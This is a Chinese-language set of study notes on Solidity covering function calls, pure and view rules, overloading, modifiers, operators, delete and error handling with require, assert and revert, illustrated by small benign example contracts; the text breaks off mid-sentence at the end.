从一个合约到另一个合约的函数调用不会创建自己的交易, 它是作为整个交易的一部分的消息调用。
调用函数并转帐如何实现
feed.info{value: 10, gas: 800}(2);
注意
feed.info{value: 10, gas: 800}
仅(局部地)设置了与函数调用一起发送的 Wei 值和 gas 的数量,只有最后的小括号才执行了真正的调用。 因此,feed.info{value: 10, gas: 800}
是没有调用函数的,value
和gas
设置是无效的。
extcodesize 操作码会检查要调用的合约是否确实存在,有哪些特殊情况?
低级 call 调用,会绕过检查
预编译合约的时候,也会绕过检查。
与其他和月交互时候有什么需要注意的?
任何与其他合约的交互都会产生潜在危险,尤其是在不能预先知道合约代码的情况下。
小心这个交互调用在返回之前再回调我们的合约,这意味着被调用合约可以通过它自己的函数改变调用合约的状态变量。 一个建议的函数写法是,例如,在合约中状态变量进行各种变化后再调用外部函数,这样,你的合约就不会轻易被滥用的重入攻击 (reentrancy) 所影响
public 既可以被当作内部函数也可以被当作外部函数。使用时候有什么注意的?
如果想将一个函数当作内部函数使用,就用
f
调用,如果想将其当作外部函数,使用this.f
。
pure 函数中,哪些行为被视为读取状态。
读取状态变量。
这也意味着读取
immutable
变量也不是一个pure
操作。
访问
address(this).balance
或<address>.balance
访问
block
,tx
,msg
中任意成员 (除msg.sig
和msg.data
之外)。调用任何未标记为
pure
的函数。使用包含特定操作码的内联汇编。
TODO:
这个不了解,需要用例子加深印象。
使用操作码
STATICCALL
, 这并不保证状态未被读取, 但至少不被修改。
pure 函数发生错误时候,有什么需要注意的?
如果发生错误,
pure
函数可以使用revert()
和require()
函数来还原潜在的状态更改。还原状态更改不被视为 状态修改, 因为它只还原以前在没有view
或pure
限制的代码中所做的状态更改, 并且代码可以选择捕获 revert 并不传递还原。这种行为也符合 STATICCALL 操作码。
view 函数中,哪些行为视为修改状态。
修改状态变量。
触发事件。
创建其它合约。
使用
selfdestruct
。通过调用发送以太币。
调用任何没有标记为 view 或者 pure 的函数。
使用底层调用
(TODO:这里是 call 操作么?)
使用包含某些操作码的内联程序集。
pure/view/payable/这些状态可变性的类型转换是怎么样的?
pure 函数可以转换为 view 和 non-payable 函数
view 函数可以转换为 non-payable 函数
payable 函数可以转换为 non-payable 函数
其他的转换则不可以。
使用 return 时,有哪些需要注意的?
函数返回类型不能为空 —— 如果函数类型不需要返回,则需要删除整个
returns (<return types>)
部分。函数可能返回任意数量的参数作为输出。函数的返回值有两个关键字,一个是
returns
,一个是return
;returns
是在函数名后面的,用来标示返回值的数量,类型,名字信息。return
是在函数主体内,用于返回returns
指定的数据信息
如果使用 return 提前退出有返回值的函数, 必须在用 return 时提供返回值。
非内部函数有些类型没法返回,比如限制的类型有:多维动态数组、结构体等。
解构赋值一个函数返回多值时候,元素数量必须一样。
函数的签名的逻辑是什么?为什么函数可以重载?
核心:
bytes4(keccak256(bytes("transfer(address,uint256)")))
函数签名被定义为基础原型的规范表达,而基础原型是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格。
函数重载需要怎么样实现?
这些相同函数名的函数,参数(参数类型或参数数量)必须不一样。,因为只有这样才能签出来不同的函数选择器。
如果两个外部可见函数仅区别于 Solidity 内的类型,而不是它们的外部类型则会导致错误。很难理解,需要看例子。
函数重载的参数匹配原理
通过将当前范围内的函数声明与函数调用中提供的参数相匹配,这样就可以选择重载函数。
如果所有参数都可以隐式地转换为预期类型,则该函数作为重载候选项。如果一个匹配的都没有,解析失败。
返回参数不作为重载解析的依据。
function f(uint8 val) public pure returns (uint8 out)
和function f(uint256 val) public pure returns (uint256 out)
是合法的函数重载么?不是的。
在 Remix 里,部署 A 合约,会将两个方法都渲染出来,调用
f(50)
/f(256)
都可以。但是实际调用里,在其他合约内调用
f(50)
会导致类型错误,因为50
既可以被隐式转换为uint8
也可以被隐式转换为uint256
。 另一方面,调用f(256)
则会解析为f(uint256)
重载,因为256
不能隐式转换为uint8
。
函数修改器的意义是什么?有什么作用?
意义:我们可以将一些通用的操作提取出来,包装为函数修改器,来提高代码的复用性,改善编码效率。是函数高内聚,低耦合的延伸。
作用:
modifier
常用于在函数执行前检查某种前置条件。比如地址对不对,余额是否充足,参数值是否允许等
修改器内可以写逻辑
特点:
modifier
是一种合约属性,可被继承,同时还可被派生的合约重写(override)。(修改器 modifier 是合约的可继承属性,并可能被派生合约覆盖 , 但前提是它们被标记为 virtual)。_
符号可以在修改器中出现多次,每处都会替换为函数体。
Solidity 有哪些全局的数学和密码学函数?
数学函数:
addmod(uint x, uint y, uint k) returns (uint)
计算
(x + y) % k
,加法会在任意精度下执行,并且加法的结果即使超过2**256
也不会被截取。从 0.5.0 版本的编译器开始会加入对k != 0
的校验(assert)。
mulmod(uint x, uint y, uint k) returns (uint)
计算
(x * y) % k
,乘法会在任意精度下执行,并且乘法的结果即使超过2**256
也不会被截取。从 0.5.0 版本的编译器开始会加入对k != 0
的校验(assert)。
密码学函数:
keccak256((bytes memory) returns (bytes32)
计算 Keccak-256 哈希,之前 keccak256 的别名函数 sha3 在 0.5.0 中已经移除。。
sha256(bytes memory) returns (bytes32)
计算参数的 SHA-256 哈希。
ripemd160(bytes memory) returns (bytes20)
计算参数的 RIPEMD-160 哈希。
ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address)
利用椭圆曲线签名恢复与公钥相关的地址,错误返回零值。
函数参数对应于 ECDSA 签名的值:
r = 签名的前 32 字节
s = 签名的第 2 个 32 字节
v = 签名的最后一个字节
ecrecover 返回一个 address, 而不是 address payable。
运算操作符
算术运算符
比较运算符
逻辑运算符/关系运算符
赋值运算符
条件运算符/三元运算符
位运算符
delete
unchecked
两个类型不一样的操作数,也可以进行算术和位操作运算。
例如,你可以计算 y = x + z ,其中 x 是
uint8
, z 是int32
类型。 在这些情况下,将使用以下机制来确定运算结果的类型(这在溢出的情况下很重要)。如果右操作数的类型可以隐含地转换为左操作数的类型的类型,则使用左操作数的类型。
如果左操作数的类型可以隐含地转换为右操作数的类型的类型,则使用右操作数的类型。
否则,该操作不被允许。
如果其中一个操作数是一个常量数字,会首先被转换为能容纳该值的最小的类型 (相同位数时,无符号类型被认为比有符号类型 “小”)。 如果两者都是常量数字,则以任意的精度进行计算。
操作符的结果类型与执行操作的类型相同,除了比较运算符,其结果总是 bool
。
运算符 **
(幂), <<
和 >>
使用左边操作数的类型来作为运算结果类型。
算术运算符
+
,-
,*
,/
,%
(取余,取模),++
(递增),--
(递减),+=
(加法赋值),-=
(减法赋值)**
(次方)
不废话,直接上代码;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 5;
uint256 public b = 2;
uint256 public c1 = a + b;
uint256 public c2 = a - b;
uint256 public c3 = a * b;
uint256 public c4 = a / b;
uint256 public c5 = a % b;
// uint256 public c6 = a++; // 会影响a的值
function increment1() public view returns (uint256) {
uint256 temp = a;
return temp++;
}
function increment2() public view returns (uint256) {
uint256 temp = a;
return ++temp;
}
function reduce1() public view returns (uint256) {
uint256 temp = a;
return temp--;
}
function reduce2() public view returns (uint256) {
uint256 temp = a;
return --temp;
}
function plusAssign() public view returns (uint256) {
uint256 temp = a;
return temp += 2;
}
function minusAssign() public view returns (uint256) {
uint256 temp = a;
return temp -= 2;
}
function test1() public view returns (uint256) {
return b**3;
}
}
unchecked
默认情况下,算术运算都会进行溢出检查,但是也可以禁用检查,可以通过 unchecked block
来禁用检查,此时会返回截断的结果。
function f(uint a, uint b) pure public returns (uint) {
// 减法溢出会返回“截断”的结果
unchecked { return a - b; }
}
溢出的检查功能是在 0.8.0
版本加入的,在此版本之前,请使用 OpenZepplin SafeMath 库。
一元运算负 -
表达式 -x
相当于 (T(0) - x)
这里 T
是指 x
的类型。 -x
只能应用在有符号型的整数上。 如果 x
为负数, -x
为正数。
由于使用两进制补码表示数据,你还需要小心:如果有 int x = type(int).min;
, 那 -x
将不在正数取值的范围内。 这意味着这个检测 unchecked { assert(-x == x); }
是可以通过的(即这种情况下,不能假设它的负数会是正数),如果是 checked 模式,则会触发异常。
除法运算
除法运算结果的类型始终是其中一个操作数的类型,整数除法总是产生整数。在 Solidity 中,分数会取零。 这意味着 int256(-5) / int256(2) == int256(-2)
。
模运算(取余)
模运算 a%n
是在操作数 a
的除以 n
之后产生余数 r
,其中 q = int(a / n)
和 r = a - (n * q)
。 这意味着模运算结果与左操作数相同的符号相同(或零)。 对于 负数的 a : a % n == -(-a % n)
, 几个例子:
int256(5) % int256(2) == int256(1)
int256(5) % int256(-2) == int256(1)
int256(-5) % int256(2) == int256(-1)
int256(-5) % int256(-2) == int256(-1)
对 0 取模会发生错误 Panic
错误,该检查不能通过unchecked { … }
。
幂运算
幂运算仅适用于无符号类型。 结果的类型总是等于基数的类型. 请注意类型足够大以能够容纳幂运算的结果,要么发生潜在的 assert 异常或者使用截断模式。
在 checked
模式下,幂运算仅会为小基数使用相对便宜的 exp
操作码。 例如 x**3
的例子,表达式 x*x*x
也许更便宜。 在任何情况下,都建议进行 gas
消耗测试和使用优化器。
扩展 TODO: 可以自己测试多少为临界值
注意 0**0
在 EVM 中定义为 1 。
i++ 和 ++i 区别
a = i++
: 先把 i 的值赋予 a,然后在执行 i=i+1;a = ++i
: 先执行 i=i+1,然后在把 i 的值赋予 a;
for 循环中,++i 更省钱
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// 25153 gas
function test1() public pure returns (uint256 temp) {
for (uint256 index = 0; index < 10; index++) {
temp += index;
}
}
// 25081 gas
function test2() public pure returns (uint256 temp) {
for (uint256 index = 0; index < 10; ++index) {
temp += index;
}
}
}
赋值运算符
=
(简单赋值)+=
(相加赋值)−=
(相减赋值)*=
(相乘赋值)/=
(相除赋值)%=
(取模赋值)
注意: 同样的逻辑也适用于位运算符,因此它们将变成 <<=
、>>=
、>>=
、&=
、|=
和^=
。
不废话,直接上代码;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 20;
uint256 public b = 10;
function test1() public view returns (uint256 temp) {
temp = a + b;
}
function test2() public view returns (uint256 temp) {
temp = a;
temp += b;
}
function test3() public view returns (uint256 temp) {
temp = a;
temp -= b;
}
function test4() public view returns (uint256 temp) {
temp = a;
temp *= b;
}
function test5() public view returns (uint256 temp) {
temp = a;
temp /= b;
}
function test6() public view returns (uint256 temp) {
temp = a;
temp %= b;
}
}
a += e
等同于 a = a + e
。其它运算符如 -=
, *=
, /=
, %=
, |=
, &=
, ^=
, <<=
和 >>=
都是如此定义的。
a++
和a--
分别等同于a += 1
和a -= 1
,但表达式本身的值等于a
在计算之前的值。与之相反,
--a
和++a
虽然最终a
的结果与之前的表达式相同,但表达式的返回值是计算之后的值。
关系运算符
关系运算符一共有六种:分别为: 大于 、小于 、 大于等于 、 小于等于 、 等于 和 不等于 。
>
(大于)<
(小于)>=
(大于等于)<=
(小于等于)==
(等于)!=
(不等于)
返回的结果是一个布尔值;
直接上代码;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 20;
uint256 public b = 10;
function test1() public view returns (bool) {
return a == b;
}
function test2() public view returns (bool) {
return a != b;
}
function test3() public view returns (bool) {
return a > b;
}
function test4() public view returns (bool) {
return a >= b;
}
function test5() public view returns (bool) {
return a < b;
}
function test6() public view returns (bool) {
return a <= b;
}
}
布尔类型 支持的运算符
包括:
!
逻辑非==
等于,!=
不等于&&
逻辑与,||
逻辑或&&
,||
为短路运算符
地址类型 支持的运算符
<=
,<
,==
,!=
,>=
and>
==
和 !=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
address public immutable owner;
constructor() {
owner = msg.sender;
}
function isOwner() external view returns (bool) {
return owner == msg.sender;
}
function test1(address _ads) external pure returns (bool) {
return address(0) != _ads;
}
}
>
>=
<
<=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function test1(address _ads) external pure returns (bool) {
return _ads > address(9);
}
function test2(address _ads) external pure returns (bool) {
return _ads >= address(9);
}
function test3(address _ads) external pure returns (bool) {
return _ads < address(9);
}
function test4(address _ads) external pure returns (bool) {
return _ads <= address(9);
}
}
交换地址
Uniswap V2 中 createPair 时的判断逻辑:
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
定长字节数组 支持的运算符
比较运算符:
<=
,<
,==
,!=
,>=
,>
(返回布尔型)位运算符:
&
,|
,^
(按位异或),~
(按位取反)移位运算符:
<<
(左移位),>>
(右移位)索引访问:如果
x
是bytesI
类型,那么x[k]
(其中 0 <= k < I)返回第 k 个字节(只读)。
该类型可以和作为右操作数的无符号整数类型进行移位运算(但返回结果的类型和左操作数类型相同),右操作数表示需要移动的位数。 进行有符号整数位移运算会引发运行时异常。
逻辑运算符
基础用法
&& (逻辑与)
如果两个操作数都是 true ,则条件为真。
|| (逻辑或)
如果两个操作数有一个为 true ,则条件为真。
! (逻辑非)
反转操作数的逻辑状态。如果条件为真,则逻辑非操作将使其为假。
不废话,直接上代码;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 20;
uint256 public b = 10;
function test1() public view returns (bool) {
bool assertion1 = a > 15;
bool assertion2 = b > 15;
return assertion1 && assertion2;
}
function test2() public view returns (bool) {
bool assertion1 = a > 15;
bool assertion2 = b > 15;
return assertion1 || assertion2;
}
function test3() public view returns (bool assertion1, bool assertion2) {
assertion1 = a > 15;
assertion2 = !(b > 15);
}
}
&&
和 ||
的短路用法
原理:
A && B
,如果 A 为 false,B 就不执行了A || B
,如果 A 为 true,B 就不执行了
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 10;
uint256 public b = 20;
event Assertion1(string msg);
event Assertion2(string msg);
// 29319 gas
function test1() public returns (bool) {
return assertion1() || assertion2();
}
// 29365 gas
function testA() public returns (bool) {
bool as1 = assertion1();
bool as2 = assertion2();
return as1 && as2;
}
// 25430 gas
// 因为短路操作,减少了很多 gas
function testB() public returns (bool) {
return assertion1() && assertion2();
}
function assertion1() private returns (bool) {
emit Assertion1("Assertion1 run");
return a > 15;
}
function assertion2() private returns (bool) {
emit Assertion2("Assertion1 run");
return b > 15;
}
}
合理的使用短路操作,可以省一些 gas 费。
三元运算符
三元运算符是一个表达是形式: <expression> ? <trueExpression> : <falseExpression>
。 它根据 <expression>
的执行结果,选择后两个给定表达式中的一个。 如果 <expression>
执行结果 true ,那么 <trueExpression>
将被执行,否则 <falseExpression>
被执行。
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 20;
uint256 public b = 10;
function test1() public view returns (bool) {
uint256 temp = a + b;
return temp > 25 ? true : false;
}
function test2() public view returns (bool) {
uint256 temp = a + b;
return temp < 25 ? true : false;
}
}
三元运算符的结果类型是由两个操作数的类型决定的,方法与上面一样,如果需要的话,首先转换为它们的最小可容纳类型(mobile type )。
因此, 255 + (true ? 1 : 0)
将由于算术溢出而被回退。 原因是 (true ? 1 : 0)
是 uint8 类型,这迫使加法也要在 uint8
中执行。 而 256
超出了这个类型所允许的范围。
另一个结果是,像 1.5 + 1.5
这样的表达式是有效的,但 1.5 + (true ? 1.5 : 2.5)
则无效。 这是因为前者是以无限精度来进行有理表达式运算,只有它的最终结果值才是重要的。 后者涉及到将小数有理数转换为整数,这在目前是不允许的。
位运算符
位运算在数字的二进制补码表示上执行。 这意味着: ~int256(0)== int256(-1)
。
假设 A 等于 2;B 等于 3。
&
(位与): 对其整数参数的每个位执行位与操作。例: (A & B) 为 2.
|
(位或): 对其整数参数的每个位执行位或操作。例: (A | B) 为 3.
^
(位异或): 对其整数参数的每个位执行位异或操作。例: (A ^ B) 为 1.
~
(位非): 一元操作符,反转操作数中的所有位。例: (~B) 为 -4.
<<
(左移位)): 将第一个操作数中的所有位向左移动,移动的位置数由第二个操作数指定,新的位由 0 填充。将一个值向左移动一个位置相当于乘以 2,移动两个位置相当于乘以 4,以此类推。例: (A << 1) 为 4.
>>
(右移位): 左操作数的值向右移动,移动位置数量由右操作数指定例: (A >> 1) 为 1.
如果两个中的任一个数是小数,则不允许进行位运算。如果指数是小数的话,也不支持幂运算(因为这样可能会得到一个无理数)。
数学运算:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public a = 5;
uint256 public b = 2;
// 左移操作符将第一个操作数向左移动指定位数,左边超出的位数将会被清除,右边将会补零。
function test2() public view returns (uint256) {
// a: ...000000000101
// b: ...000000000010
// ------------------
// =: 00...000000010100
// =: ...000000010100
return a << b;
}
// 右移操作符 (>>) 是将一个操作数按指定移动的位数向右移动,右边移出位被丢弃,左边移出的空位补符号位。
function test3() public view returns (uint256) {
// a: ...000000000101
// b: ...000000000010
// ------------------
// =: ...00000000000101
// =: ...000000000001
return a >> b;
}
}
移位操作的结果具有左操作数的类型,同时会截断结果以匹配类型。 右操作数必须是无符号类型。尝试按带符号的类型移动将产生编译错误。对于移位操作不会像算术运算那样执行溢出检查,其结果总是被截断。
移位可以通过用 2 的幂的乘法来 “模拟”(方法如下)。请注意,左操作数的截断总是在最后发生。
x << y
等于数学表达式x * 2 ** y
。5 << 2
=5*2**2
= 20
x >> y
等于数学表达式x / 2 ** y
, 四舍五入到负无穷。5 >> 2
=5/2**2
= 1
delete
delete a
的结果是将 a
类型初始值赋值给a
。换句话说,在 delete a
之后 a
的值与在没有赋值的情况下声明 a
的情况相同。
delete
适用于整型,数组,结构体映射。
对于整型变量:相当于
a = 0
。对于动态数组:是将重置为数组长度为 0 的数组
对于静态数组:是将数组中的所有元素重置为初始值。
对于数组而言:
delete a[x]
仅删除数组索引x
处的元素,其他的元素和长度不变,这为数组留出了一个空位。如果打算删除项,映射可能是更好的选择。对于结构体:则将结构体中的所有属性(成员)重置。
mapping : 是将所选择的 key 重置为初始值。
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
struct Book {
string title;
string author;
uint256 book_id;
}
// 整数
uint256 public a1 = 1;
int256 public a2 = -1;
// 数组
uint256[2] b1 = [1, 2]; // 定长
uint256[] b2 = [1, 2]; // 变长
// mapping
mapping(address => uint256) public balances;
// struct
Book public java; // 一本 java 书
constructor() {
java = Book({title: "Java", author: "LiSi", book_id: 1});
balances[msg.sender] = 999;
}
function deleteFn() public {
delete a1;
delete a2;
delete b1;
delete b2;
delete balances[msg.sender];
delete java;
}
function getB1() public view returns (uint256[2] memory) {
return b1;
}
function getB2() public view returns (uint256[] memory) {
return b2;
}
}
需要注意以下几点:
delete
对整个映射是无效的(因为映射的键可以是任意的,通常也是未知的)。因此在你删除一个结构体时,结果将重置所有的非映射属性(成员),这个过程是递归进行的,除非它们是映射。然而,单个的键及其映射的值是可以被删除的。
理解 delete a
的效果就像是给 a
赋值很重要,换句话说,这相当于在 a
中存储了一个新的对象。
当 a
是应用变量时,我们可以看到这个区别, delete a
它只会重置 a
本身,而不是更改它之前引用的值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DeleteLBC {
uint256 data;
uint256[] dataArray;
function f() public {
uint256 x = data;
delete x; // 将 x 设为 0,并不影响数据
delete data; // 将 data 设为 0,并不影响 x,因为它仍然有个副本
uint256[] storage y = dataArray;
delete dataArray;
// 将 dataArray.length 设为 0,但由于 uint[] 是一个复杂的对象,y 也将受到影响,
// 因为它是一个存储位置是 storage 的对象的别名。
// 另一方面:"delete y" 是非法的,引用了 storage 对象的局部变量只能由已有的 storage 对象赋值。
assert(y.length == 0);
}
}
操作符的优先级
优先级 | 描述 | 操作符 |
---|---|---|
1 | 后置自增和自减 | ++ , -- |
创建类型实例 | new <typename> |
|
数组元素 | <array>[<index>] |
|
访问成员 | <object>.<member> |
|
函数调用 | <func>(<args...>) |
|
小括号 | (<statement>) |
|
2 | 前置自增和自减 | ++ , -- |
一元运算的加和减 | + , - |
|
一元操作符 | delete |
|
逻辑非 | ! |
|
按位非 | ~ |
|
3 | 乘方 | * |
4 | 乘、除和模运算 | , / , % |
5 | 算术加和减 | + , - |
6 | 移位操作符 | << , >> |
7 | 按位与 | & |
8 | 按位异或 | ^ |
9 | 按位或 | | |
10 | 非等操作符 | < , > , <= , >= |
11 | 等于操作符 | == , != |
12 | 逻辑与 | && |
13 | 逻辑或 | || |
14 | 三元操作符 | <conditional> ? <if-true> : <if-false> |
15 | 赋值操作符 | = , |= , ^= , &= , <<= ,
>>= , += , -= , *= , /= ,
%= |
16 | 逗号 | , |
表达式的计算顺序不是特定的(更准确地说,表达式树中某节点的字节点间的计算顺序不是特定的,但它们的结算肯定会在节点自己的结算之前)。该规则只能保证语句按顺序执行,布尔表达式的短路执行。
不同数据类型的总结
整型 支持的运算符
比较运算符:
<=
,<
,==
,!=
,>=
,>
比较结果的返回值为 bool 类型位运算符:
&
,|
,^
(异或),~
(非,位取反)移位运算符:
<<
(左移) ,>>
(右移)数学运算:
+
,-
, 一元运算负-
(仅针对有符号整型),*
,/
,%
(取余),++
,--
,+=
,-=
**
(次方)
定长浮点型 支持的运算符
比较运算符:<=
, <
, ==
, !=
, >=
, >
(返回值是布尔型)
算术运算符:+
, -
, 一元运算 -
, 一元运算 +
, *
, /
, %
(取余数)
比较:
==
,!=
,>
,>=
,<
,<=
返回值为 bool 类型。
位运算符:
&
,|
,^
(异或),~
非
问答题
算数运算符的注意
表达式
-x
相当于(T(0) - x)
这里T
是指x
的类型。-x
只能应用在有符号型的整数上。整数除法总是产生整数。
一元运算负
-
有什么需要注意的表达式
-x
相当于(T(0) - x)
这里T
是指x
的类型。-x
只能应用在有符号型的整数上。 如果x
为负数,-x
为正数。由于使用两进制补码表示数据,你还需要小心:如果有
int x = type(int).min;
, 那-x
将不在正数取值的范围内。 这意味着这个检测unchecked { assert(-x == x); }
是可以通过的(即这种情况下,不能假设它的负数会是正数),如果是 checked 模式,则会触发异常。
错误处理
Solidity 如果遇到异常错误,是通过回退状态的方式来进行处理。发生异常时,会撤消当前调用和所有子调用改变的状态变量,同时给调用者返回一个错误标识。
调用者调用某个函数方法,要么成功修改了所有状态变量,要么遇到异常不修改任何状态变量,不存在成功修改部分变量的情况,
Solidity 提供了 require 、assert 和 revert 来处理异常。同时可以使用 error
关键字来实现错误。
跟用错误字符串相比, error 更便宜并且允许你编码额外的数据,还可以用 NatSpec
为用户去描述错误。
Solidity 使用状态恢复异常来处理错误。这种异常将撤消对当前调用(及其所有子调用)中的状态所做的所有更改,并且还向调用者标记错误。
如果异常在子调用发生,那么异常会自动冒泡到顶层(例如:异常会重新抛出),除非他们在 try/catch
语句中捕获了错误。 但是如果是在 send
和 低级 call
, delegatecall
和 staticcall
的调用里发生异常时, 他们会返回 false
(第一个返回值) 而不是冒泡异常。
警告注意:根据 EVM 的设计,如果被调用的地址不存在,低级别函数 call
, delegatecall
和 staticcall
第一个返回值同样是 true
。 如果需要,请在调用之前检查账号的存在性。
异常可以包含错误数据,以 error 示例 的形式传回给调用者。 内置的错误 Error(string)
和 Panic(uint256)
被作为特殊函数使用,下面将解释。 Error
用于 “常规” 错误条件,而 Panic
用于在(无 bug)代码中不应该出现的错误。
函数 assert 和 require 可用于检查条件并在条件不满足时抛出异常。
⚠️ 注意:永远不要相信错误数据。默认情况下,错误数据会通过外部调用链向上冒泡,这意味着一个合约可能会收到一个它直接调用的任何合约中没有定义的错误。此外,任何合约都可以通过返回与错误签名相匹配的数据来伪造任何错误,即使该错误没有在任何地方定义。
require
require 用来严查某些条件,如果不满足这些雕件,就会回退所有状态的变化。
语法
require(condition[, 'Something bad happened'])
如果条件不满足则撤销状态更改 ,用于检查由输入或者外部组件引起的错误。可以同时提供一个错误消息。
require 函数常常用来检查输入变量或状态变量是否满足条件,以及验证调用外部合约的返回值。
require 可以有返回值,例如:
require(condition, 'Something bad happened');
。require 的返回值不宜过长,因为返回信息需要消耗 gas。
备注:在例子 2 测试中,并没有证明长度越长,消耗的 gas 越多。
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public amount = 0;
function test(uint256 _x) external {
require(_x < 10, "My error info 1"); // _x >= 10 时候会报错
amount = _x;
require(_x > 20); // _x <= 10 时候会报错
}
}
注解 require
是一个像其他函数一样可被执行的函数。意味着,所有的参数在函数被执行之前就都会被执行。 尤其,在
require(condition, f())
里,函数 f
会被执行,即便 condition
为 True .
gas 测试
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
// 21611 gas
function test1(uint256 _x) external pure {
require(
_x < 10,
"My error info 1 balalaba balalaba balalaba balalaba balalaba "
);
}
}
contract Demo2 {
// 21611 gas
function test2(uint256 _x) external pure {
require(_x < 10, "Error");
}
}
contract Demo3 {
// 21611 gas
function test3(uint256 _x) external pure {
require(_x < 10, "error");
}
}
使用场景
验证用户输入,例如:
require(input_var>100)
验证外部合约的调用结果,例如:
require(external.send(amount))
在执行状态更改操作之前验证状态条件,例如:
require(block.number > 49999)
或require(balance[msg.sender]>=amount)
require() 语句的失败报错,应该被看作一个正常的判断语句流程不能通过的事件。
一般来说,使用 require()
的频率更多,通常应用于函数的开头和函数修改器内。
一句话: require() 函数用于检测输入变量或状态变量是否满足条件,以及验证调用外部合约的返回值。
assert
语法
assert(bool condition)
如果不满足条件,则会导致 Panic 错误,则撤销状态更改 - 用于检查内部错误。
assert()
与 require()
语句都需要满足括号中的条件,才能进行后续操作,若不满足则抛出错误。
assert:断言,不能包括报错信息的。
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public amount = 0;
function test1(uint256 _x) external {
require(_x < 10, "My error info 1"); // _x >= 10 时候会报错
amount = _x;
assert(amount == _x); // 必须等于_x,否则抛出错误
}
function test2(uint256 _x) external {
require(_x < 10, "My error info 1"); // _x >= 10 时候会报错
amount = _x;
assert(amount == 8); // 必须等于8,否则抛出错误
}
}
使用场景
检查溢出
检查不变量
更改后验证状态
预防永远不会发生的情况
assert()语句的失败报错,意味着发生了代码层面的错误事件,很大可能是合约中有一个 bug 需要修复。
也可以智能合约写测试。
一般来说,使用 assert()
的频率较少,通常用于函数的结尾。基本上,require()
应该用于检查条件,而 assert()
只是为了防止发生任何非常糟糕的事情。
扩展
assert 函数会创建一个 Panic(uint256)
类型的错误。同样的错误在以下列出的特定情形会被编译器创建。
assert 函数应该只用于测试内部错误,检查不变量,正常的函数代码永远不会产生 Panic, 甚至是基于一个无效的外部输入时。 如果发生了,那就说明出现了一个需要你修复的 bug。如果使用得当,语言分析工具可以识别出那些会导致 Panic 的 assert 条件和函数调用。
下列情况将会产生一个 Panic 异常: 错误数据会提供的错误码编号,用来指示 Panic 的类型:
0x00: 用于常规编译器插入的 Panic。
0x01: 如果你调用
assert
的参数(表达式)结果为 false 。0x11: 在
unchecked { ... }
外,如果算术运算结果向上或向下溢出。0x12; 如果你用零当除数做除法或模运算(例如
5 / 0
或23 % 0
)。0x21: 如果你将一个太大的数或负数值转换为一个枚举类型。
0x22: 如果你访问一个没有正确编码的存储 byte 数组.
0x31: 如果在空数组上
.pop()
。0x32: 如果你访问
bytesN
数组(或切片)的索引太大或为负数。(例如:x[i]
而i >= x.length
或i < 0
).0x41: 如果你分配了太多的内内存或创建了太大的数组。
0x51: 如果你调用了零初始化内部函数类型变量。
revert
语法: revert([string memory reason])
使用 revert:抛出错误,它使用圆括号接受一个字符串:语句将一个自定义的错误作为直接参数,没有括号:
revert(); revert("description");
使用
revert()
会触发一个没有任何错误数据的回退,而revert("description")
会产生一个Error(string)
错误。使用 revert:触发自定义错误 ·
revert CustomError(arg1, arg2);
可以接收参数,方便判断。比如可以传入
msg.sender
/ 函数参数 等
终止运行并撤销状态更改。可以同时提供一个解释性的字符串。
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorDemo {
function testRevert(uint256 _x) external pure {
if (_x > 10) {
revert("_x > 10");
}
}
// 自定义错误
error MyError(address call, uint256 _i);
function testCustomError(uint256 _x) external view {
if (_x > 10) {
revert MyError(msg.sender, _x);
}
}
}
只要参数没有额外的附加效果,使用 if (!condition) revert(...);
和 require(condition, ...);
是等价的,例如当参数是字符串的情况。
三种方式的总结
require、assert 不同点
require(false)
编译为0xfd
,这是revert()
的操作码,所以会退还所有剩余的 gas,同时可以返回一个自定义的报错信息。assert(false)
编译为0xfe
,这是一个无效的操作码,所以会消耗掉所有剩余的 gas,并恢复所有的操作。require
的 gas 消耗要小于assert
,而且可以有返回值,使用更为灵活。
错误信息:
require
函数可以创建无错误提示的错误,也可以创建一个 Error(string)
类型的错误。 require
函数应该用于确认条件有效性,例如输入变量,或合约状态变量是否满足条件,或验证外部合约调用返回的值。
当前不可以使用混合使用 require 和自定义错误,而是需要使用 if (!condition) revert CustomError();
。
下列情况将会产生一个 Error(string)
(或无错误提示)的错误:
如果你调用
require(x)
,而x
结果为false
。如果你使用
revert()
或者revert("description")
。如果你在不包含代码的合约上执行外部函数调用。
如果你通过合约接收以太币,而又没有
payable
修饰符的公有函数(包括构造函数和 fallback 函数)。如果你的合约通过公有 getter 函数接收 Ether 。
在下面的情况下,来自外部调用的错误数据(如果提供的话)被转发,这意味可能Error
或 Panic
都有可能触发。
如果
.transfer()
失败。如果你通过消息调用调用某个函数,但该函数没有正确结束(例如, 它耗尽了 gas,没有匹配函数,或者本身抛出一个异常),不包括使用低级别
call
,send
,delegatecall
,callcode
或staticcall
的函数调用。低级操作不会抛出异常,而通过返回false
来指示失败。如果你使用
new
关键字创建合约,但合约创建没有正确结束。
你可以选择给 require
提供一个消息字符串,但 assert
不行。
如果你没有为 require
